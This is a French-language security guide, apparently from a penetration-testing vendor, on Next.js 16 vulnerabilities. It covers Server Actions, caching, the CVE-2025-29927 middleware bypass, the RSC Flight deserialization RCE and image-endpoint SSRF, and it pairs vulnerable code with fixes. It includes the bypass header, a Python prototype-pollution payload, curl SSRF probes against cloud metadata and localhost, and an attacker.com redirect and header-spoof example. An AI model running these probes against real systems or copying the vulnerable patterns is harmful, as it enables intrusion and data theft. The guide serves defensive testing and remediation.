TL;DR
x-middleware-subrequest — supprimez cet en-tête au niveau de votre reverse proxy.cacheComponents de Next.js 16 est opt-in et plus sûr que la mise en cache implicite, mais des fuites de données entre utilisateurs sont possibles sans scoping de cache explicite.proxy.ts (anciennement middleware.ts) s'exécute sur Node.js dans Next.js 16 — ne l'utilisez jamais comme seule couche d'autorisation.Publiée le 21 octobre 2025, Next.js 16 est la version la plus structurellement significative depuis l'introduction de l'App Router dans Next.js 13. Les changements pertinents pour les ingénieurs en sécurité ne sont pas cosmétiques.
Cache Components et use cache. Le comportement de mise en cache implicite qui a déconcerté les développeurs pendant deux ans a disparu. Dans Next.js 16, tout le code dynamique s'exécute à la demande par défaut. La mise en cache est désormais opt-in via la directive use cache et les API cacheLife/cacheTag. C'est une amélioration de sécurité délibérée : la mise en cache implicite des réponses authentifiées était un vecteur de mauvaise configuration récurrent. L'inconvénient est que le nouveau modèle introduit sa propre surface d'attaque — voir Pièges de la mise en cache ci-dessous.
proxy.ts remplace middleware.ts. Le middleware s'exécute désormais sur Node.js plutôt que sur le runtime Edge. Le renommage est intentionnel — il signale que cette couche gère le routage réseau, pas la logique métier. La surface d'API limitée du runtime Edge forçait auparavant certains développeurs à adopter des patterns moins sécurisés. Node.js donne à la couche proxy un accès à la pile crypto et HTTP complète.
Paramètres asynchrones et cookies. params, searchParams, cookies() et headers() sont désormais exclusivement asynchrones dans Next.js 16. Cela supprime toute une classe de conditions de course où un accès synchrone retournait des valeurs périmées en cours de rendu, et rend le flux de données plus explicite pour les auditeurs sécurité.
Changement radical — prévention de l'énumération de chemins locaux via next/image. Next.js 16 exige désormais que images.localPatterns soit explicitement configuré avant que l'optimisation d'images locales ne soit autorisée. Les requêtes d'optimisation en dehors de localPatterns sont désormais bloquées avec un code 400, empêchant toute énumération involontaire de qualité.
images.dangerouslyAllowLocalIP. L'optimisation des IP locales est désormais bloquée par défaut. Mettre cette option à true réactive le routage des requêtes d'optimisation vers 127.0.0.1, 10.0.0.0/8 et équivalents — un vecteur de SSRF interne si activé négligemment en production.
Turbopack stable. Pertinence sécurité : Turbopack est désormais le bundler par défaut. Il gère l'isolation des modules et la génération des source maps différemment de webpack. Les équipes qui comptaient sur l'obscurcissement de la structure des chunks webpack pour masquer les identifiants d'action doivent re-auditer leurs hypothèses sous Turbopack.
| Fonctionnalité | Next.js 14/15 | Next.js 16 |
|---|---|---|
| Modèle de mise en cache | Implicite, opt-out | Opt-in explicite (use cache) |
| Runtime du middleware | Edge (APIs limitées) | Node.js (proxy.ts) |
Accès aux params | Synchrone ou asynchrone | Asynchrone uniquement |
| Source d'image locale | Sans restriction | Nécessite images.localPatterns |
| Optimisation des IP locales | Autorisée | Bloquée par défaut |
| Bundler par défaut | webpack | Turbopack |
| Identifiants d'action RSC | Hash de la localisation source | Hash non déterministe chiffré (depuis la v15) |
Les React Server Components s'exécutent exclusivement côté serveur. Les Client Components s'exécutent à la fois sur le serveur (pré-rendu) et dans le navigateur. La frontière de sécurité est appliquée au niveau du système de modules : les imports RSC sont résolus dans une couche webpack réservée au serveur qui n'est jamais envoyée au client.
Le modèle mental important pour les tests de sécurité :
'use client') s'exécutent dans le contexte navigateur après l'hydratation. Tout ce qu'ils reçoivent en props a déjà été sérialisé et transmis sur le réseau.// VULNÉRABLE : Enregistrement complet de la base de données passé au Client Component
// apps/dashboard/page.tsx (Server Component)
export default async function Page() {
const user = await db.user.findUnique({ where: { id: session.userId } });
// user.passwordHash, user.mfaSecret, user.apiKeyHash sont tous dans cet objet
return <ProfileCard user={user} />; // envoyé au client sérialisé
}
// SÛR : Pattern Data Transfer Object
export default async function Page() {
const user = await db.user.findUnique({ where: { id: session.userId } });
return <ProfileCard name={user.name} avatarUrl={user.avatarUrl} />;
}Le package server-only applique la frontière au moment du build. Tout module marqué avec import 'server-only' provoquera une erreur de build s'il est importé depuis un Client Component. C'est la défense appropriée pour les couches d'accès aux données et les clients d'API internes.
Les APIs React Taint (experimental_taintObjectReference, experimental_taintUniqueValue) ajoutent une couche d'exécution au-dessus. Un objet ou une valeur "tainted" lèvera une exception s'il est passé au contexte client — capturant les cas où la frontière de module est correcte mais le flux de données est erroné. À activer dans next.config.js avec experimental.taint: true.
Les incohérences d'hydratation comme signaux de sécurité. Lorsqu'un Server Component effectue un rendu différent de ce que le client reçoit lors de l'hydratation, Next.js enregistre une erreur d'hydratation. Les pentesters doivent surveiller la console navigateur pour ces erreurs — elles peuvent indiquer que le serveur calcule des valeurs sensibles qui diffèrent du rendu public, signalant parfois une logique métier que le serveur masque au client sans la protéger adéquatement.
graph TD
Client["Navigateur / Client Component"]
Middleware["proxy.ts (Node.js)"]
ServerComp["Server Component (RSC)"]
DAL["Data Access Layer\n(server-only)"]
DB[(Base de données)]
Env["process.env\n(secrets)"]
Client -->|"Requête HTTP"| Middleware
Middleware -->|"Routage vers App Router"| ServerComp
ServerComp -->|"import (appliqué au build)"| DAL
DAL -->|"Requête SQL / ORM"| DB
DAL -->|"lecture des secrets"| Env
ServerComp -->|"props sérialisées"| Client
style Env fill:#ff6b6b,color:#fff
style DAL fill:#ffd93d,color:#333
style Middleware fill:#6bcb77,color:#333Les Server Actions sont des fonctions asynchrones exportées marquées avec 'use server'. Le framework génère des identifiants d'action chiffrés au moment du build et fait correspondre les requêtes POST à ces identifiants. Chaque fonction exportée est un endpoint HTTP public — qu'elle soit ou non exposée dans l'interface utilisateur qui l'appelle.
Le malentendu fondamental. De nombreux développeurs traitent les Server Actions comme des fonctions internes qui ne s'exécutent que lorsque le formulaire correspondant est soumis. C'est incorrect. Toute requête POST vers l'application avec l'en-tête Next-Action approprié et un identifiant d'action valide exécutera la fonction. L'identifiant d'action est intégré dans le bundle JavaScript côté client — visible par tout utilisateur authentifié qui charge la page.
// VULNÉRABLE : BOLA — pas de vérification de propriété de la ressource
'use server'
export async function deleteInvoice(invoiceId: string) {
const session = await getSession();
if (!session) throw new Error('Unauthenticated');
// Bug : tout utilisateur authentifié peut supprimer n'importe quelle facture
await db.invoice.delete({ where: { id: invoiceId } });
}
// SÛR : Vérification d'autorisation sur la ressource
'use server'
export async function deleteInvoice(invoiceId: string) {
const session = await getSession();
if (!session) throw new Error('Unauthenticated');
const invoice = await db.invoice.findUnique({ where: { id: invoiceId } });
if (!invoice || invoice.ownerId !== session.userId) {
throw new Error('Forbidden');
}
await db.invoice.delete({ where: { id: invoiceId } });
}Les types TypeScript ne protègent pas les Server Actions à l'exécution. Un objet FormData passé depuis le client peut contenir n'importe quelle clé. Si l'action propage ou passe les données directement à un ORM sans liste d'autorisation, les attaquants peuvent injecter des champs arbitraires.
// VULNÉRABLE : assignation de masse via propagation de FormData
'use server'
export async function updateProfile(formData: FormData) {
const session = await getSession();
const data = Object.fromEntries(formData); // l'attaquant contrôle toutes les clés
await db.user.update({
where: { id: session.userId },
data, // peut inclure : { role: 'admin', subscription: 'enterprise' }
});
}
// SÛR : liste d'autorisation explicite avec validation Zod
'use server'
import { z } from 'zod';
const ProfileSchema = z.object({
name: z.string().max(100),
bio: z.string().max(500),
});
export async function updateProfile(formData: FormData) {
const session = await getSession();
const parsed = ProfileSchema.safeParse(Object.fromEntries(formData));
if (!parsed.success) throw new Error('Invalid input');
await db.user.update({
where: { id: session.userId },
data: parsed.data, // uniquement name et bio, rien d'autre
});
}Les Server Actions de Next.js comparent l'en-tête Origin à l'en-tête Host et abandonnent les requêtes en cas d'incohérence. Cette protection s'applique uniquement aux actions générées par le compilateur du framework. Les Route Handlers personnalisés (route.ts) ne bénéficient d'aucune protection CSRF automatique. La vérification de l'Origin échoue silencieusement si serverActions.allowedOrigins est mal configuré — inclure un domaine contrôlé par un attaquant dans cette liste annule l'ensemble de la protection.
Consultez l'analyse approfondie /learn/csrf pour la matrice de tests CSRF complète.
Les Server Actions définies à l'intérieur des composants capturent des variables de la portée extérieure dans des fermetures. Next.js chiffre ces valeurs capturées avant de les sérialiser vers le client. Cependant :
NEXT_SERVER_ACTIONS_ENCRYPTION_KEY. Dans les déploiements multi-instances sans cette variable définie, chaque serveur génère une clé différente — provoquant l'échec des invocations d'actions entre instances et poussant les équipes à désactiver le chiffrement.Divulgué : 21 mars 2025. CVSS : 9.1 Critical. Affecté : Next.js 11.1.4–12.3.4, 13.0.0–13.5.8, 14.0.0–14.2.24, 15.0.0–15.2.2. Corrigé : 12.3.5, 13.5.9, 14.2.25, 15.2.3.
Cause racine. Next.js utilise un en-tête interne x-middleware-subrequest pour suivre si une requête provient du middleware lui-même — évitant les boucles infinies lorsque le middleware effectue des sous-requêtes. L'en-tête était conçu pour être défini uniquement par le framework. Aucun code ne vérifiait que cet en-tête provenait de l'application plutôt que du client externe.
Exploitation. Un attaquant ajoute l'en-tête à toute requête HTTP sortante :
GET /admin/users HTTP/1.1
Host: target.example.com
x-middleware-subrequest: middleware:middleware:middleware:middleware:middlewareL'exécution du middleware est entièrement ignorée. La requête atteint le route handler sans aucune vérification d'authentification. Pour les applications dans les répertoires src/ :
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middlewareImpact. Chaque route protégée par middleware est accessible publiquement. Les redirections d'authentification, les listes blanches d'IP, les vérifications RBAC, les en-têtes de sécurité ajoutés dans le middleware et l'application de la CSP sont tous contournés avec un seul en-tête.
Pourquoi une authentification basée uniquement sur le middleware est toujours incorrecte. CVE-2025-29927 n'est pas une anomalie — c'est la conséquence prévisible de traiter une seule couche d'exécution comme la seule frontière de sécurité. L'architecture correcte re-vérifie la session à l'intérieur de chaque Server Action, Server Component et Route Handler. La documentation de Next.js l'indique désormais explicitement. Le middleware (proxy.ts dans Next.js 16) est une barrière UX, pas une barrière de sécurité.
Liste de vérification pour la remédiation :
x-middleware-subrequest au niveau de votre proxy de périphérie (nginx, Traefik, Cloudflare WAF) — Cloudflare a publié une règle gérée à cet effet en mars 2025.Détection avec BreachVex. Le pipeline BreachVex envoie l'en-tête de contournement à chaque route découverte lors de la cartographie. Une réponse 200 sur une route qui retournait 302/401 sans l'en-tête est signalée comme un contournement de middleware confirmé avec capture de la preuve de requête.
Divulgué : 3 décembre 2025. CVSS : 10.0 Critical. Affecté : React 19.0.0, 19.1.0, 19.1.1, 19.2.0. Corrigé : 19.0.1, 19.1.2, 19.2.1. Next.js 15.0.0–16.0.6 affectés ; corrigés dans 16.0.7+ et la branche 15.5.x. Exploité dans la nature : confirmé par Wiz Research, Amazon Threat Intelligence et Datadog.
Cause racine. Le protocole Flight des React Server Components est le format de sérialisation binaire qui transporte les payloads RSC entre le serveur et le client. Lorsqu'un payload d'origine cliente (depuis un appel de Server Action ou une requête de re-rendu RSC) arrive sur le serveur, Next.js le passe au décodeur Flight de React. La logique de désérialisation du décodeur ne validait pas la structure des clés entrantes — permettant à un attaquant d'injecter des clés forgées qui polluent la chaîne de prototypes JavaScript (__proto__, constructor) et influencent les chemins d'exécution côté serveur.
Ce que cela signifie pour les tests. Tout endpoint App Router constitue une surface d'attaque. Une application Next.js standard créée avec create-next-app en mode production est exploitable sans modification de configuration. L'exploit est :
# Payload conceptuel — ne pas utiliser contre des systèmes que vous ne possédez pas
import httpx
payload = b'0:{"$$typeof":"$RE","__proto__":{"shell":"id"}}'
r = httpx.post(
"https://target.example.com/api/sensitive-action",
content=payload,
headers={
"Content-Type": "text/x-component",
"Next-Action": "<action-id-from-js-bundle>",
}
)Vulnérabilités associées divulguées le 11 décembre 2025 :
Note sur le correctif. Le correctif React initial pour CVE-2025-55184 était incomplet — un patch correctif a été émis sous CVE-2025-67779 fin décembre 2025. Correctif complet dans React 19.0.4 / 19.1.5 / 19.2.4 (backport de CVE-2025-67779). Les versions 19.0.2 / 19.1.3 / 19.2.2 sont partiellement corrigées mais restent vulnérables à la variante DoS.
use cache, ISR et abus de revalidationuse cacheLa directive use cache marque un composant ou une fonction comme pouvant être mis en cache. Le compilateur génère une clé de cache à partir des arguments de la fonction. Si une fonction mise en cache retourne des données spécifiques à un utilisateur mais est appelée sans argument identifiant l'utilisateur, tous les utilisateurs partagent la même entrée de cache.
// VULNÉRABLE : données utilisateur mises en cache globalement
'use cache'
export async function getUserDashboard() {
const session = await getSession(); // la session ne fait PAS partie de la clé de cache
return db.user.findUnique({ where: { id: session.userId } });
}
// SÛR : l'ID utilisateur inclus dans les arguments (devient partie de la clé de cache)
'use cache'
export async function getUserDashboard(userId: string) {
return db.dashboard.findUnique({ where: { userId } });
}
// Site d'appel : getUserDashboard(session.userId)Ces deux vulnérabilités ont été corrigées dans Next.js 16.2.5 et 15.5.16 (publiées en mai 2026). CVE-2026-44576 affecte toutes les versions depuis la 14.2.0+ ; CVE-2026-44582 affecte depuis la 13.4.6+ — les branches plus anciennes doivent également être patchées.
CVE-2026-44576 : les réponses RSC sont vulnérables à l'empoisonnement de cache lorsque les CDN partagés ne partitionnent pas correctement les variantes de réponse. Un attaquant forge une requête qui provoque la mise en cache d'un payload de composant RSC à l'URL du chemin de la réponse HTML complète — les visiteurs suivants reçoivent du JSON de composant au lieu de HTML.
CVE-2026-44582 : des collisions dans le paramètre de cache-busting _rsc permettent aux attaquants d'empoisonner les entrées du cache CDN afin que les utilisateurs reçoivent la mauvaise variante de réponse pour une URL donnée.
Atténuation si vous ne pouvez pas appliquer le patch immédiatement : Configurez votre CDN pour clé sur l'en-tête de requête RSC et respecter l'en-tête de réponse Vary. Désactivez la mise en cache partagée pour les réponses App Router.
L'ISR (Incremental Static Regeneration) avec revalidate génère du HTML pouvant être mis en cache publiquement. Si un développeur encapsule une page authentifiée avec revalidate sans comprendre que la page mise en cache capture la sortie rendue côté serveur de la vérification d'authentification au moment du build, la page peut retourner un état d'authentification périmé.
Plus critiquement : si une page ISR affiche du contenu accessible au moment du build mais ultérieurement restreint, la version mise en cache reste accessible publiquement jusqu'à la prochaine revalidation — qui peut ne jamais se produire si aucun déploiement ni appel revalidatePath n'est déclenché.
Comment tester cela : comparez la réponse à une route soumise à revalidation avec If-None-Match et sans. Si l'ETag correspond pour des requêtes avec et sans cookies de session valides, la page sert une réponse mise en cache globalement qui ignore l'état de session.
CVE-2025-29927 est le contournement de middleware le plus grave, mais plusieurs patterns supplémentaires subsistent dans les versions corrigées :
Normalisation des slash de fin et de la casse. Les matchers de middleware utilisent des patterns de route qui peuvent ne pas prendre en compte les slash de fin ou les majuscules/minuscules. Si le matcher est /admin/:path* et que la requête arrive comme /Admin/users (A majuscule), certaines configurations ignorent la correspondance. Testez toutes les routes protégées avec des slash de fin, des doubles slash et un encodage URL.
Contournement par préfixe /_next/. Les chemins internes /_next/static et /_next/image contournent la plupart des matchers de middleware par convention. Si votre middleware définit des en-têtes de sécurité ou effectue des vérifications d'authentification, assurez-vous que les requêtes vers ces chemins reçoivent bien les en-têtes attendus en aval.
Timing du démarrage à froid des fonctions Edge. Dans les déploiements Vercel Edge, le middleware s'exécute parfois en parallèle avec les route handlers lors des démarrages à froid. Les conditions de course où la vérification de session du middleware se déclenche après le début du traitement par le handler sont rares mais ont été signalées dans des programmes bug bounty.
Usurpation de X-Forwarded-Host. Les Server Actions comparent Origin à Host (ou X-Forwarded-Host). Si votre reverse proxy fait confiance aux en-têtes X-Forwarded-Host fournis par le client sans validation, un attaquant peut définir X-Forwarded-Host: attacker.com et la vérification CSRF compare Origin: attacker.com à X-Forwarded-Host: attacker.com — toujours une correspondance.
| Propriété | Route Handlers (route.ts) | Server Actions ('use server') |
|---|---|---|
| Méthode HTTP | GET, POST, PUT, DELETE, etc. | POST uniquement |
| Protection CSRF | Aucune (manuelle requise) | Vérification Origin/Host intégrée |
| Identifiant d'action | Chemin URL | Hash chiffré dans le bundle JS |
| Élimination du code mort | Non | Oui (actions non utilisées supprimées) |
| Type d'entrée | Objet Request brut | FormData / arguments typés |
| Enforcement de l'auth | Manuel (pas d'aide du framework) | Manuel (pas d'aide du framework) |
| Invocable externement | Oui (par URL) | Oui (avec identifiant d'action + en-tête Next-Action) |
| Capture de fermeture | Non | Oui (chiffré, avec mises en garde sur la rotation des clés) |
La conclusion clé pour les ingénieurs en sécurité : ni les Route Handlers ni les Server Actions ne fournissent d'autorisation automatique. La protection CSRF du framework pour les Server Actions est précieuse mais insuffisante — et elle n'existe pas du tout pour les Route Handlers.
Traitez chaque Route Handler comme équivalent à un endpoint REST public. Traitez chaque Server Action comme un endpoint POST public dont l'URL n'est pas évidente mais reste découvrable.
Auth.js v5 (le successeur de NextAuth) a introduit des changements d'API significatifs par rapport à la v4. La surface de migration est une source connue de régressions de sécurité.
Les sessions JWT ne peuvent pas être invalidées prématurément. Contrairement aux sessions en base de données, les sessions JWT stockées dans des cookies HttpOnly expirent uniquement lorsque la valeur exp du token est dépassée. Si les privilèges d'un utilisateur sont révoqués, le JWT reste valide jusqu'à expiration. Pour les applications avec des contrôles d'accès basés sur les rôles, cela signifie qu'un administrateur révoqué conserve l'accès pendant toute la durée de la session — généralement 30 jours.
L'authentification par middleware uniquement est le piège documenté. Le guide de migration Auth.js v5 montre un pattern où auth() est appelé dans middleware.ts pour protéger les routes. Après CVE-2025-29927, ce pattern est explicitement insuffisant. Chaque route protégée doit appeler auth() à l'intérieur du handler, pas seulement dans le middleware.
L'objet session.user n'est pas type-safe sans augmentation. L'augmentation de module TypeScript pour session.user est nécessaire pour accéder aux champs personnalisés. Les équipes qui ignorent ce pattern castent en any, perdant la sécurité de type sur l'objet qui porte les données d'autorisation.
Mauvaise configuration de NEXTAUTH_URL. Dans les déploiements avec plusieurs domaines ou reverse proxies, NEXTAUTH_URL doit correspondre au domaine canonique. Une incohérence provoque le ciblage du mauvais origin par les flux d'authentification basés sur la redirection — une redirection ouverte potentielle si la variable est définie sur une valeur que le proxy réécrit. Vérifiez cela dans les environnements de staging et de production.
Confusion d'algorithme JWT. Auth.js utilise HS256 (HMAC-SHA256) pour les JWTs par défaut. Si secret n'est pas défini en production, Auth.js se replie sur une valeur dérivée qui peut être prévisible. Définissez AUTH_SECRET explicitement sur une valeur aléatoire de 32 octets et renouvelez-la périodiquement.
Consultez la page /learn/jwt-overview pour la chaîne d'attaque complète sur la confusion d'algorithme JWT.
L'endpoint /_next/image accepte un paramètre de requête url, récupère la cible, optimise l'image et la retourne au client. Il s'agit d'une récupération côté serveur contrôlée par l'entrée utilisateur — une configuration SSRF canonique.
Protection par défaut. images.remotePatterns restreint les hostnames que l'endpoint d'optimisation peut récupérer. Une configuration stricte bloque l'accès au réseau interne :
// next.config.ts
const nextConfig = {
images: {
remotePatterns: [
{
protocol: 'https',
hostname: 'cdn.example.com',
pathname: '/assets/**',
},
],
},
};Patterns de mauvaise configuration qui réouvrent le SSRF :
// VULNÉRABLE : hostname wildcard
remotePatterns: [{ hostname: '**' }]
// VULNÉRABLE : wildcard trop large
remotePatterns: [{ hostname: '*.example.com' }]
// Permet : internal.example.com, 169.254.169.254.example.com (vérifiez votre DNS)CVE-2024-34351 (SSRF via l'en-tête Host d'une Server Action). Dans Next.js antérieur à 14.1.1, les Server Actions effectuant redirect('/') utilisaient l'en-tête Host fourni par le client pour construire l'URL de redirection. Un attaquant contrôlant l'en-tête Host pouvait rediriger la récupération côté serveur vers une adresse interne arbitraire — incluant les endpoints de métadonnées cloud. Corrigé dans la version 14.1.1.
Procédure de test :
# Test 1 : récupération interne basique
curl "https://target.com/_next/image?url=http://169.254.169.254/latest/meta-data/&w=256&q=75"
# Test 2 : découverte de services localhost
curl "https://target.com/_next/image?url=http://localhost:6379/&w=256&q=75"
# Test 3 : déclassement HTTPS + chaîne de redirections
curl "https://target.com/_next/image?url=https://attacker.com/redirect-to-internal&w=256&q=75"Une réponse avec le statut 200 et Content-Type: image/* confirme une récupération réussie. Un message d'erreur divulguant un hostname ou une IP interne dans le corps de la réponse constitue une confirmation de SSRF aveugle.
Consultez la page /learn/ssrf-overview pour la méthodologie complète d'exploitation SSRF.
# Détecter la version de Next.js depuis les en-têtes de réponse
curl -I https://target.com | grep -i x-powered-by
# Identification App Router : en-tête RSC présent
curl -H "RSC: 1" https://target.com | head -c 200
# Vérifier le manifest _next/static
curl https://target.com/_next/static/chunks/main.js | grep -o '"version":"[0-9.]*"'
# Détecter proxy.ts vs middleware.ts
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
https://target.com/adminCorrespondance de la version détectée avec le tableau CVE connu :
| CVE | Sévérité | Corrigé dans |
|---|---|---|
| CVE-2025-29927 | CVSS 9.1 | 12.3.5, 13.5.9, 14.2.25, 15.2.3 |
| CVE-2025-55182 | CVSS 10.0 | 16.0.7, React 19.0.1 |
| CVE-2025-55183 | CVSS 5.3 | React 19.0.3 |
| CVE-2025-55184 | CVSS 7.5 | React 19.0.4 / 19.1.5 / 19.2.4, CVE-2025-67779 |
| CVE-2026-44576 | CVSS 5.4 Medium | 15.5.16, 16.2.5 |
| CVE-2026-44582 | CVSS 5.4 Medium | 15.5.16, 16.2.5 |
| CVE-2024-46982 | CVSS 7.5 | 13.5.7, 14.2.10 |
| CVE-2024-34351 | High | 14.1.1 |
# Extraire les identifiants d'action des chunks webpack
curl -s https://target.com/_next/static/chunks/app/layout.js \
| grep -oP '"[a-f0-9]{40}"' | sort -u
# Invoquer une action découverte
curl -X POST https://target.com/ \
-H "Next-Action: <extracted-action-id>" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d ""
# Test BOLA : envoyer l'ID de ressource d'un autre utilisateur
curl -X POST https://target.com/ \
-H "Next-Action: <action-id>" \
-H "Cookie: session=<your-session>" \
-d "invoiceId=<other-users-invoice-id>"# Vérifier la présence de contenu spécifique à l'utilisateur dans les réponses mises en cache
# Étape 1 : Récupérer en tant qu'utilisateur A, enregistrer l'ETag
ETAG_A=$(curl -sI https://target.com/dashboard -H "Cookie: session=<user-a>" | grep ETag)
# Étape 2 : Récupérer en tant qu'utilisateur B, comparer l'ETag
ETAG_B=$(curl -sI https://target.com/dashboard -H "Cookie: session=<user-b>" | grep ETag)
# Si les ETags correspondent, les deux utilisateurs reçoivent la même réponse mise en cache
echo "ETag Utilisateur A : $ETAG_A"
echo "ETag Utilisateur B : $ETAG_B"Examinez ou demandez next.config.ts pour :
images.remotePatterns — patterns avec wildcardsserverActions.allowedOrigins — domaines contrôlés par un attaquantheaders() — Content-Security-Policy, X-Frame-Options, Referrer-Policy manquantsrewrites() — chemins proxysant vers des services internesredirects() — valeurs de destination incluant des segments contrôlés par l'utilisateur (redirection ouverte)experimental.taint: false — protection taint manquante sur les objets sensiblesAUTH_SECRET est-il défini sur une valeur aléatoire de 32 octets ?auth() comme seul contrôle d'autorisation ?NEXTAUTH_URL est-il défini sur le domaine de production canonique ?Le pipeline BreachVex inclut un module de détection Next.js dédié dans la phase de cartographie. Lorsqu'une cible est identifiée comme une application Next.js, les tests automatisés suivants s'exécutent :
Sonde de contournement du middleware. La squad auth_session envoie l'en-tête de contournement x-middleware-subrequest à chaque route découverte dans la carte du site. Une route qui répond 200 à l'en-tête mais 302/401 sans lui est signalée comme un contournement de middleware confirmé. La requête et la réponse HTTP sont capturées comme preuve.
Extraction des identifiants d'action. Le js_analyzer_subgraph extrait les manifestes de chunks webpack et identifie les chaînes correspondant au format d'identifiant d'action Next.js (en-têtes Next-Action dans le trafic capturé, chaînes hexadécimales de 40 caractères dans les bundles JS). Les identifiants extraits sont transmis à la squad api_security pour les tests d'autorisation.
Fuzzing du protocole RSC Flight. Sur les cibles exécutant Next.js 16.0.0–16.0.6, le pipeline envoie un payload forgé du protocole Flight aux endpoints de server actions détectés. Une trace de pile ou une réponse 500 inattendue est capturée comme un potentiel problème de désérialisation, avec confirmation manuelle requise.
SSRF sur l'endpoint d'images. La squad ssrf_xxe sonde /_next/image avec des URL internes dérivées du fournisseur cloud de la cible (endpoints IMDS, IPs de services Kubernetes détectées via énumération DNS). Les réponses sont analysées pour le type de contenu et la taille correspondant aux réponses de métadonnées connues.
Empoisonnement de cache. Le pipeline envoie des requêtes RSC avec des valeurs _rsc en collision et compare les corps de réponse pour détecter une contamination entre utilisateurs, en utilisant deux comptes de test distincts lorsque des credentials sont fournis.
Pour les vulnérabilités BOLA confirmées dans les Server Actions, le moteur de preuves capture l'échange HTTP complet — la localisation source de l'identifiant d'action dans le bundle JS, la requête non autorisée et la réponse serveur réussie — et l'inclut dans le rapport SARIF avec une sévérité High (CVSS 8.1 pour un IDOR non authentifié, ou Critical si une élévation de privilèges est possible).
Consultez /learn/idor et /learn/mass-assignment pour les classes de vulnérabilité sous-jacentes couvertes par cette méthodologie.
Next.js 16 est un framework matériellement plus sécurisé que ses prédécesseurs sur trois dimensions spécifiques : la mise en cache opt-in réduit l'empoisonnement de cache implicite, proxy.ts clarifie la frontière réseau et la déplace vers Node.js, et les API uniquement asynchrones éliminent une classe de conditions de course. La réactivité de l'équipe Next.js face à CVE-2025-29927 et CVE-2025-55182 a été rapide et coordonnée.
La surface d'attaque ne s'est pas réduite pour autant. La désérialisation RSC est désormais un vecteur RCE avéré avec une exploitation confirmée dans la nature. Les Server Actions sont des endpoints HTTP publics dont les identifiants sont extractibles depuis le bundle JS. Le modèle use cache introduit de nouveaux patterns de fuite de données entre utilisateurs. L'empoisonnement de cache via collisions d'en-têtes RSC a été corrigé en 2026, des mois après la publication de la version 16.0.
Pour les ingénieurs AppSec testant des applications Next.js : commencez par la vérification de version, testez CVE-2025-29927 en premier (c'est le contrôle à plus fort impact pour le moins d'effort), énumérez les identifiants des Server Actions depuis le bundle, auditez la configuration de mise en cache, et vérifiez que des contrôles d'autorisation existent à l'intérieur de chaque action et route handler — et pas seulement dans le middleware.
Pour les développeurs déployant Next.js 16 en production : mettez à jour immédiatement vers 16.2.5, définissez AUTH_SECRET et NEXT_SERVER_ACTIONS_ENCRYPTION_KEY, configurez images.remotePatterns strictement, et implémentez une Data Access Layer avec import 'server-only' pour appliquer la frontière serveur au moment du build.
Le framework vous fournit les outils. Le modèle de sécurité exige toujours que vous les utilisiez.
Références :